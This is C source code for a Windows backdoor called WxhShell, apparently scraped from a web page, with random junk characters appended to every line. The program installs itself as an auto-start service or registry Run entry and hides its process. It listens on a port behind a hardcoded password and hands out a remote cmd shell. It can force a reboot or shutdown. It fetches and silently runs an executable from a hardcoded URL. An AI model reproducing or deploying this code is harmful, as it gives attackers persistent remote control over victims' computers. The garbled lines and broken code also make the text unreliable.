    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); buRhQ"  
    if(Boot(SHUTDOWN)) n49;Z,[~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?x:m;z/  
    else { _i-\mR_~  
    closesocket(wsh); k& OC&  
    ExitThread(0); l<$rqz3D  
    } D`V6&_. p  
    break; +z+ F-  
    } a4%`"  
  // 获取shell )y6QAp  
  case 's': { sjSi;S4  
    CmdShell(wsh); ]t*33  
    closesocket(wsh); :b"= KQ  
    ExitThread(0); M#ZT2~+CT  
    break; M#`{>R|  
  } <sa #|Y$  
  // 退出 yU*u  
  case 'x': { % =y;L:S\p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YFG-U-t3  
    CloseIt(wsh); T]^?l  
    break; KCE=|*6::|  
    } 5n:nZ_D  
  // 离开 !zU/Hq{wcK  
  case 'q': { 6j_ 678  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ol50d73B  
    closesocket(wsh); : -E,   
    WSACleanup(); wc"9A~  
    exit(1); E\ tL   
    break; Z?-;.G*  
        } [9LxhPi  
  } 8IeI0f"l)  
  } '[%jjUU  
B<Ol+)@,}  
  // 提示信息 qbH %Hx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U4]30B{;H  
} X) 8e4~(?  
  } |ribWCv0  
L,#^&9bHa#  
  return; en%J!<&W{K  
} \]t]#D>0  
5~QhX22  
// shell模块句柄 tbg*_ZQO u  
int CmdShell(SOCKET sock) 3eWJt\}?B  
{ 2H6:np |O  
STARTUPINFO si; \/n+j!  
ZeroMemory(&si,sizeof(si)); 7vw;Egd@@-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]{<saAmJC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TopHE  
PROCESS_INFORMATION ProcessInfo; w"1 x=+  
char cmdline[]="cmd"; 7aV$YuL)X~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $_wo6/J5+D  
  return 0; {aoM JJq  
} 0fA=_=A,  
B& "RS  
// 自身启动模式 04~}IbeJ  
int StartFromService(void) u >4ArtF  
{ #vtN+E  
typedef struct w#sq'vo4%  
{ V n^)  
  DWORD ExitStatus; w;~>k%}j  
  DWORD PebBaseAddress; r|<6Aae&  
  DWORD AffinityMask; r5[4h'f  
  DWORD BasePriority; 6s5yyy=L%~  
  ULONG UniqueProcessId; +^Fp&K+^  
  ULONG InheritedFromUniqueProcessId; X PA 0m  
}   PROCESS_BASIC_INFORMATION; ;>8kPG  
vmLpm xS  
PROCNTQSIP NtQueryInformationProcess; fa4=h;>a+  
5} G:D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yWNOG 2qAP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0 k9<&  
q~j)W$k  
  HANDLE             hProcess; se#@)LtZ  
  PROCESS_BASIC_INFORMATION pbi; MF^_Z3GS'  
[z2eCH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S!`:E  
  if(NULL == hInst ) return 0; VNO'="U  
\X5 3|Y;=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ';Nu&D#Ph  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); St+ "ih%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :G#KB'  
sCkO0dl8  
  if (!NtQueryInformationProcess) return 0; (vnoP< 0  
Cs#w72N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JYQ.EAsr!  
  if(!hProcess) return 0; 2$ tQ @r  
yyjw?#\8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AX;c}0g  
=DC 3a3&%  
  CloseHandle(hProcess); 57<Di!rt  
x}|+sS,g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I>aGp|4  
if(hProcess==NULL) return 0; +j.qZ8  
Q ?^4\_  
HMODULE hMod; t3a#%'Dv  
char procName[255]; e^8BV;+c  
unsigned long cbNeeded; *7Xzht&f  
z0 \N{rP&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |IN[uQ  
kC`Rd:5  
  CloseHandle(hProcess); zN")elBi  
jkt 6/H  
if(strstr(procName,"services")) return 1; // 以服务启动 (A4&k{C_  
i ?-Y  
  return 0; // 注册表启动 =?/&u<  
} ISBF\ wQY  
(:7a&2/M  
// 主模块 !^?qU;|  
int StartWxhshell(LPSTR lpCmdLine) RG1\=J$:E  
{ X!c?CL  
  SOCKET wsl; w.^yP7:  
BOOL val=TRUE; +?AW>&68y  
  int port=0; ,H{={aln  
  struct sockaddr_in door; d}+W"j;  
QNpu TZn#Q  
  if(wscfg.ws_autoins) Install(); bLlH//ZRH  
(NaK3_  
port=atoi(lpCmdLine); "V}qf3 qU  
J@Yj\9U  
if(port<=0) port=wscfg.ws_port; 4K7{f+T  
cz(G]{N  
  WSADATA data; 2Wl{Br.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FM\[].  
X~L!e}Rz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~OCZz$qA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H+x#gK2l  
  door.sin_family = AF_INET; cmDT +$s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +`}o,z/^  
  door.sin_port = htons(port); N2FbrfNFa  
;s_"{f`Y6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !8/gL  
closesocket(wsl); K<RqBecB  
return 1; x0<^<D&Q  
} 0T9. M(  
" " %#cDR  
  if(listen(wsl,2) == INVALID_SOCKET) { $.8 H>c  
closesocket(wsl); C:j]43`  
return 1; Yt{&rPv,  
} Y;_T=  L  
  Wxhshell(wsl); -Qb0:]sV#  
  WSACleanup(); =/}X$,@2  
5@f5S0 Y  
return 0; &<0ZUI |S3  
T 6HU*(  
} WcEt%mGQ,  
<5IQc[3]aP  
// 以NT服务方式启动 (Ilsk{aB;A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0*yJ %  
{ [h-norB((  
DWORD   status = 0; kEP<[K  
  DWORD   specificError = 0xfffffff; niWx^gKb$  
nzuF]vo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k|B2@{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >nM%p4E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UA(;fZ@  
  serviceStatus.dwWin32ExitCode     = 0; ]w[ThHRJ  
  serviceStatus.dwServiceSpecificExitCode = 0; A*i_|]Q  
  serviceStatus.dwCheckPoint       = 0; : Ss3ck*=  
  serviceStatus.dwWaitHint       = 0; n)RM+g  
3U;1D2"AE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kUbnVF5'  
  if (hServiceStatusHandle==0) return; +tU Q  
w}`3 d@  
status = GetLastError(); hSMV&Cs  
  if (status!=NO_ERROR) P {H{UKs#  
{ Le@? /  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sfI N)jh  
    serviceStatus.dwCheckPoint       = 0; BX3lP v  
    serviceStatus.dwWaitHint       = 0; !^v\^Fc  
    serviceStatus.dwWin32ExitCode     = status; WQKj]:qk0  
    serviceStatus.dwServiceSpecificExitCode = specificError; OKPJuV`y6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tWE8 r,  
    return; GV6mzD@ <  
  } q-IWRb0j%a  
v8'5pLt"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >S.91!x  
  serviceStatus.dwCheckPoint       = 0; =x H~ww (D  
  serviceStatus.dwWaitHint       = 0; 6N3@!xtpi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ik\S88|  
} 7>,rvW:]  
1VLLo~L%  
// 处理NT服务事件,比如:启动、停止 Z %EQt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tlGWl0V?7Q  
{ w~N-W8xNR  
switch(fdwControl) k?j Fh6%  
{ ipZHSA  
case SERVICE_CONTROL_STOP: 9,WG!4:+W  
  serviceStatus.dwWin32ExitCode = 0; .$wLLE^*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hk;bk?:m  
  serviceStatus.dwCheckPoint   = 0; *h:kmT  
  serviceStatus.dwWaitHint     = 0; I?M@5u  
  { :e2X/tl#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q"nGy#UWR  
  } zs8I  
  return; v<&v]!nF  
case SERVICE_CONTROL_PAUSE: sykFSPy`'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @vAFfYU9<.  
  break; bn-=fb(  
case SERVICE_CONTROL_CONTINUE: sTOFw;v%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v{koKQ'Y()  
  break; C Z tiWZ  
case SERVICE_CONTROL_INTERROGATE: M/B/b<['  
  break; 5i9Ub |!P  
}; w-FHhf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 Gd|YRtk  
} (\& 62B1  
Vp7b4n<  
// 标准应用程序主函数 Fu##'#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -u~eZ?(!Ye  
{ /qXzOd  
z2~87fv+  
// 获取操作系统版本 ZNL5({lv  
OsIsNt=GetOsVer(); yVYkuO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >76 |:Nq  
<Uwwux<v  
  // 从命令行安装 ]!aUT&  
  if(strpbrk(lpCmdLine,"iI")) Install(); @p]UvqtB@  
8\_*1h40s  
  // 下载执行文件 PbEQkjE  
if(wscfg.ws_downexe) { bA *"ei+!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S:GTc QU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4J}3,+  
} L[. <o{  
rr )/`Kmv%  
if(!OsIsNt) { u){S$</  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~U%j{8uH  
HideProc(); OG}KqG!n  
StartWxhshell(lpCmdLine); ?O7iK<5N  
} @_Sp3nWdu  
else ^ZVO ql&  
  if(StartFromService()) ^A#x<J+  
  // 以服务方式启动 (&c,twa~  
  StartServiceCtrlDispatcher(DispatchTable); GNZ#q)qT  
else {(0Id!  
  // 普通方式启动 H:MUNc8i  
  StartWxhshell(lpCmdLine); yHOqzq56  
-TZ^~s  
return 0; "XB4yExy  
} w%2ziwgh  
d?}hCo=/Xq  
#ovM(Mld  
JMePI%#8  
=========================================== z Lw(@&  
8!4[#y<  
u\3ZIb  
f1\7vEE,  
Xi+n`T'i  
+wAp,Xr  
" vv* |F  
0%H24N 9.  
#include <stdio.h> }VZM,.w  
#include <string.h> 8<c' x]~  
#include <windows.h> %mL5+d-oP  
#include <winsock2.h> ;-Ado8  
#include <winsvc.h> `u=oeM :  
#include <urlmon.h> b"3uD`  
k.Gl4 x  
#pragma comment (lib, "Ws2_32.lib") oX{@'B  
#pragma comment (lib, "urlmon.lib") 9 tAE#A  
t%HI1eO7h  
#define MAX_USER   100 // 最大客户端连接数 z L8J`W  
#define BUF_SOCK   200 // sock buffer h[y*CzG  
#define KEY_BUFF   255 // 输入 buffer QA,*:qx  
q;No"_aAd  
#define REBOOT     0   // 重启 Hh\ 4MNl  
#define SHUTDOWN   1   // 关机 MYu`c[$jZ  
ydyG}XI7V  
#define DEF_PORT   5000 // 监听端口 c dDY]"k  
SctJxY(}!  
#define REG_LEN     16   // 注册表键长度 $>![wZ3  
#define SVC_LEN     80   // NT服务名长度 8=pv/o  
A$ J9U3+O  
// 从dll定义API yWmrdvL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9BO|1{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "]<w x_!+}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6+ ?wnp-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wt"ww~h`(  
z6 a,0&;-L  
// wxhshell配置信息 bl`D+/V   
struct WSCFG { Eo Ko   
  int ws_port;         // 监听端口 LS{bg.e  
  char ws_passstr[REG_LEN]; // 口令 0W_mCV  
  int ws_autoins;       // 安装标记, 1=yes 0=no X*)?LxTj  
  char ws_regname[REG_LEN]; // 注册表键名 "R8.P/ 3  
  char ws_svcname[REG_LEN]; // 服务名 VZTmzIk.Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X'xUwT|_+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n_1jHJo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Bh>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HS(U4   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yYM_lobn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r(]98a]o~  
_tA7=*@8  
}; %6N)G!P  
[0wP\{%  
// default Wxhshell configuration dD o6fP2  
struct WSCFG wscfg={DEF_PORT, i`R(7Z  
    "xuhuanlingzhe", ^K"ZJ6?+1  
    1, :q(D(mK  
    "Wxhshell", L,WkJe3  
    "Wxhshell", )O9fhj)  
            "WxhShell Service", WqR7uiCi  
    "Wrsky Windows CmdShell Service", el}hcAY/RP  
    "Please Input Your Password: ", X:U=MWc>  
  1, u |'8a1  
  "http://www.wrsky.com/wxhshell.exe", }#&~w 0P  
  "Wxhshell.exe" sbgJw  
    }; ~};]k}  
)=y.^@UT@  
// 消息定义模块 $,.3&zsy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $.``OxJk%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [#IBYJ.6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [;*\P\Xih  
char *msg_ws_ext="\n\rExit."; dV)Y,Yx0${  
char *msg_ws_end="\n\rQuit."; X=JFWzC  
char *msg_ws_boot="\n\rReboot..."; J0Jr BXCh  
char *msg_ws_poff="\n\rShutdown..."; k&yQ98H$K"  
char *msg_ws_down="\n\rSave to "; UmYD]  
1E8$% 6VV  
char *msg_ws_err="\n\rErr!"; /9P^{ OZ;y  
char *msg_ws_ok="\n\rOK!"; ]9#CVv[rq  
_a fciyso  
char ExeFile[MAX_PATH]; y?"$(%3|  
int nUser = 0; akMJ4EF/  
HANDLE handles[MAX_USER];  ccRlql(  
int OsIsNt; x!OWJ/O  
EG%I1F%  
SERVICE_STATUS       serviceStatus; w<Zdq}{jO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !X%S)VSMU  
ZTr:xX{R6  
// 函数声明 Wa(W&]  
int Install(void); c$.UE  
int Uninstall(void); FMoJ"6Q  
int DownloadFile(char *sURL, SOCKET wsh); Ih(:HFRMq6  
int Boot(int flag);  c^rC8E  
void HideProc(void); *U :VM'a  
int GetOsVer(void); DE5d]3B  
int Wxhshell(SOCKET wsl); oN_S}o  
void TalkWithClient(void *cs); #,t2*tM  
int CmdShell(SOCKET sock); P`7ojXy  
int StartFromService(void); uijq@yo8-  
int StartWxhshell(LPSTR lpCmdLine); /g13X,.H  
n'q aR<bY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TFNUv<>X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j[_t6Z  
)uANmThOz  
// 数据结构和表定义 _MGNKA6JI  
SERVICE_TABLE_ENTRY DispatchTable[] = ;9}w|!/  
{  o1 jk=  
{wscfg.ws_svcname, NTServiceMain}, ,<7"K&  
{NULL, NULL} <_=JMA5  
}; G}182"#4  
C\y[&egww  
// 自我安装 {F<)z% ^  
int Install(void) )>ug{M%g  
{ "w>rlsT<O  
  char svExeFile[MAX_PATH]; tX@ 0:RX%  
  HKEY key; ]^Sd9ba  
  strcpy(svExeFile,ExeFile); th5 X?so  
C_6GOpl  
// 如果是win9x系统,修改注册表设为自启动 cR,'o'V/  
if(!OsIsNt) { 65'`uuPx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qk?jGXB>^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I).=v{@9V<  
  RegCloseKey(key); >?^~s(t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :uOZjEZi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`c%?_EK  
  RegCloseKey(key); 0PYvey }[  
  return 0; G%xb0%oi]%  
    } 2O?Vr" A  
  } " ]aQ Hh]f  
} AEB/8%l};v  
else { gmXy>{T  
&B?@@ 6  
// 如果是NT以上系统,安装为系统服务 fx]\)0n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~C%2t{"  
if (schSCManager!=0) f+*J ue  
{ 7bctx_W&6  
  SC_HANDLE schService = CreateService x*NqA( r  
  ( d-9uv|SJ  
  schSCManager, kEp.0wL'  
  wscfg.ws_svcname, X(4s;i  
  wscfg.ws_svcdisp, <]Ij(+J;  
  SERVICE_ALL_ACCESS, FgXu1-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 29&sydu  
  SERVICE_AUTO_START, ^wvH,>Yo  
  SERVICE_ERROR_NORMAL, Gtj (  
  svExeFile, 3?!G-  
  NULL, 1_N~1Ik  
  NULL, JQ~y- lt  
  NULL, OAmES;Ck$(  
  NULL, m\<<oIlH  
  NULL !Sh^LYqn  
  ); h`z2!F4  
  if (schService!=0) @WhZx*1  
  { *jYHd#UZx4  
  CloseServiceHandle(schService); ;n% ]*v  
  CloseServiceHandle(schSCManager); TX< e_[$\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t#fs:A7P?}  
  strcat(svExeFile,wscfg.ws_svcname); G> f^ 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CnxK+1n l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3$GY,B  
  RegCloseKey(key); _<u8%\  
  return 0; +P>Gy`D9  
    } uPa/,"p  
  } F?*Dr  
  CloseServiceHandle(schSCManager); h$E\2lsE  
} aK8bKlZe  
} vp"%IW  
X=rc3~}f  
return 1; '"!z$i~G=  
} `,F&y{ A  
u5xU)l3  
// 自我卸载 >wz;}9v  
int Uninstall(void) #E- VW  
{ k98< s  
  HKEY key; 7P3 <o!YA  
KzEuPJ?  
if(!OsIsNt) { >2l13^Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bBkm]  >  
  RegDeleteValue(key,wscfg.ws_regname); !^c:'I>~  
  RegCloseKey(key); o|R*POM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Y"t2l_n  
  RegDeleteValue(key,wscfg.ws_regname); FK4nz2&4  
  RegCloseKey(key); &/b? I `  
  return 0; Nrab*K(][  
  }  ET >S  
} [@,OG-"&  
} />dB%*  
else { r1[E{Tpz  
RB S[*D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,pQ'w7  
if (schSCManager!=0) MgJ%26TZ  
{ 3a'Rs{qxn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3q~":bpAp  
  if (schService!=0) P!`Q_h6a  
  { c8bca`  
  if(DeleteService(schService)!=0) { 7\7Brw4  
  CloseServiceHandle(schService); yt/20a  
  CloseServiceHandle(schSCManager); 6%\7.h  
  return 0; SREDM  
  } Tf&f`/  
  CloseServiceHandle(schService); `jD8(}_  
  } /|4Q9=  
  CloseServiceHandle(schSCManager); dWzDSlP&  
} R&u)=~O\5  
} {AU` }*5  
c,v^A+sZu  
return 1; 2*~JMbm  
} }m=t zHB*  
p56KS5duI.  
// 从指定url下载文件 )bB"12Z|8  
int DownloadFile(char *sURL, SOCKET wsh) @+0@BO1 2  
{ baUEsg[~V  
  HRESULT hr; w0a+8gexi  
char seps[]= "/"; otmIu`h  
char *token; b xk'a,!S  
char *file; ^@|<'g.R-  
char myURL[MAX_PATH]; >< <$  
char myFILE[MAX_PATH]; #}[Sj-Vp  
^%K1R;  
strcpy(myURL,sURL); )0 Y #-=.<  
  token=strtok(myURL,seps); TIK/%T  
  while(token!=NULL) A%NK0j$;}  
  { 1M%{Uqsd-  
    file=token; G"T;l"TAt8  
  token=strtok(NULL,seps); ,\sR;=svK  
  } w6WGFQ_%  
W%Y.SP$Y  
GetCurrentDirectory(MAX_PATH,myFILE); H{ n>KZ]\  
strcat(myFILE, "\\"); .c=$ bQ>^  
strcat(myFILE, file); u%+6Mp[E  
  send(wsh,myFILE,strlen(myFILE),0); p^pQZ6-  
send(wsh,"...",3,0); "VT{1(]t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OCbQB5k3  
  if(hr==S_OK) Vze!/ED  
return 0; %fn'iKCB  
else "k\Ff50  
return 1; pz*/4  
M-&^   
} ?J^IAF y  
'NQMZfz  
// 系统电源模块 p?Z+z  
int Boot(int flag) xWenKY,  
{ }AMYU>YE=  
  HANDLE hToken; %8Z|/LGg  
  TOKEN_PRIVILEGES tkp; Pqr Ou  
7':5  
  if(OsIsNt) { (]zl$*k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )o " SB1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N27K  
    tkp.PrivilegeCount = 1; {a+Fx}W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bGMeBj"R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7.lK$J:  
if(flag==REBOOT) { h8iaJqqvJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~,1-$#R  
  return 0; CO:m]oj  
} vc>^.#7   
else { t?%}hs\!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nK?k<  
  return 0; DU*g~{8T$  
} .v #0cQX+.  
  } {|Mxvp*Hg  
  else { xoz*UA.  
if(flag==REBOOT) { 8^P2GG'+-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 323yAF  
  return 0; *'s2 K  
} J]=aI>Ow  
else { 3%vx' 1h[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?vht~5'  
  return 0; @mQ/W Ys  
}  2#$}yP~  
} QN2*]+/h  
LhVLsa(-%  
return 1; DiGUxnP  
} dFI.`pB  
m &3HFf  
// win9x进程隐藏模块 .swgXiRvs  
void HideProc(void) J#Ne:Aj_  
{ PoBu kOv  
NR;S3-Iq(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z/P^-N>  
  if ( hKernel != NULL ) A_6/umF[ZA  
  { >"sKfiM)b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tg <>B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QRg"/62WCD  
    FreeLibrary(hKernel); /\3XARt  
  } `F- Dd4B  
*FLTz(T  
return; IJ #v"! D  
} 5JU(@}Db  
X*>o9J45V  
// 获取操作系统版本 \DcC1W  
int GetOsVer(void) ys.!S.k+  
{ :nbW.B3GV  
  OSVERSIONINFO winfo; $E4O^0%/p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; K)?:  
  GetVersionEx(&winfo); I).^,%>Z)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wEo-a< (  
  return 1; ]mO+<{{4X  
  else  jKb=Zkd  
  return 0; d9[6kQ]  
} 0()9vTY+  
Ro3I/NI>  
// 客户端句柄模块 HhQPgjZ/  
int Wxhshell(SOCKET wsl) x w?9W4<  
{ Op$J"R  
  SOCKET wsh; *]>OCGsr  
  struct sockaddr_in client; [hv3o0".  
  DWORD myID; n_xQSVI0F  
.2(@jx,[  
  while(nUser<MAX_USER) <-oRhi4  
{ (W}i287  
  int nSize=sizeof(client); !+*?pq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +poIgjq0  
  if(wsh==INVALID_SOCKET) return 1; *{;A\sL  
@h7GTA \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !3X%5=#L4  
if(handles[nUser]==0) k+m_L{#m5  
  closesocket(wsh); *>&N t  
else K_lCDiqG  
  nUser++; 0R%uVJG  
  } t-<[._:+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Z IpzH/8  
8w@W8(3B  
  return 0; u7y7  
} nE "b`  
.}hZ7>4-  
// 关闭 socket 2h? r![  
void CloseIt(SOCKET wsh) fY\tvo%  
{ 4K?H-Jco  
closesocket(wsh); {If2[4!z  
nUser--; 7N~qg 7&  
ExitThread(0); #35S7G^@`  
} BI]ut |Qw  
~cg+BAfu  
// 客户端请求句柄 W*/s4 N  
void TalkWithClient(void *cs) n`I jG  
{ nO.+&kA  
;~1/eF  
  SOCKET wsh=(SOCKET)cs; @Ozf}}#  
  char pwd[SVC_LEN]; yV]-Oa$*s0  
  char cmd[KEY_BUFF]; zC>(!fJqq  
char chr[1]; S,<.!v57  
int i,j; nu<!2xs,  
:PjUl  
  while (nUser < MAX_USER) { [Ey%uh 6*  
%Ty {1'o  
if(wscfg.ws_passstr) { fdH'z:Xao  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F0ivL`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k s`  
  //ZeroMemory(pwd,KEY_BUFF); CR<pB)F?a  
      i=0; )'I<xx'1  
  while(i<SVC_LEN) { PS<tS_.  
W-ND<=:Up  
  // 设置超时 ,"MUfZ  
  fd_set FdRead; 7Hkf7\JY  
  struct timeval TimeOut; Xi`U`7?D(=  
  FD_ZERO(&FdRead); [@FeRIu8  
  FD_SET(wsh,&FdRead); ^CZ|ci6bX  
  TimeOut.tv_sec=8; #y9K-}u  
  TimeOut.tv_usec=0; ^[\53\R~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ew,wNR`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [,A'  
m"m;(T{ v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h}:5hi Jw  
  pwd=chr[0]; {R8P $  
  if(chr[0]==0xd || chr[0]==0xa) { jeuNTDjeL  
  pwd=0; m&z %kVsg]  
  break; 7;s0m0<%~  
  } :)V0zHo&(  
  i++; hG3$ ]i9  
    } ~i&< !O&  
ToXFMkwY  
  // 如果是非法用户,关闭 socket {8p?we3l1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gl\{QcI8<  
} d=OO(sf  
I EsD=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e =Tc(Mwn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q c< O; #  
Pg8=  
while(1) { 8}`8lOE7  
.Fz6+m;Z  
  ZeroMemory(cmd,KEY_BUFF); *M!YQ<7G^d  
|/Q."d  
      // 自动支持客户端 telnet标准   3LnyQ  
  j=0; 9l^  
  while(j<KEY_BUFF) { M,U=zNPnk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L$?~TY  
  cmd[j]=chr[0]; Zu73x#pI  
  if(chr[0]==0xa || chr[0]==0xd) { 3bL2fsn5  
  cmd[j]=0; W oG  
  break; Oy`\8*Uy__  
  } =xWW+w!r  
  j++; dSD}NM  
    } 9 v3Nba  
&$Ip$"H  
  // 下载文件 2<./HH*f  
  if(strstr(cmd,"http://")) { ;}9Ws6#XQs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^p%+rB.j[  
  if(DownloadFile(cmd,wsh)) jP6G.aiO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tfIBsw.  
  else &MLhCekY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U~@B%Msb L  
  } :H:}t>X6Vo  
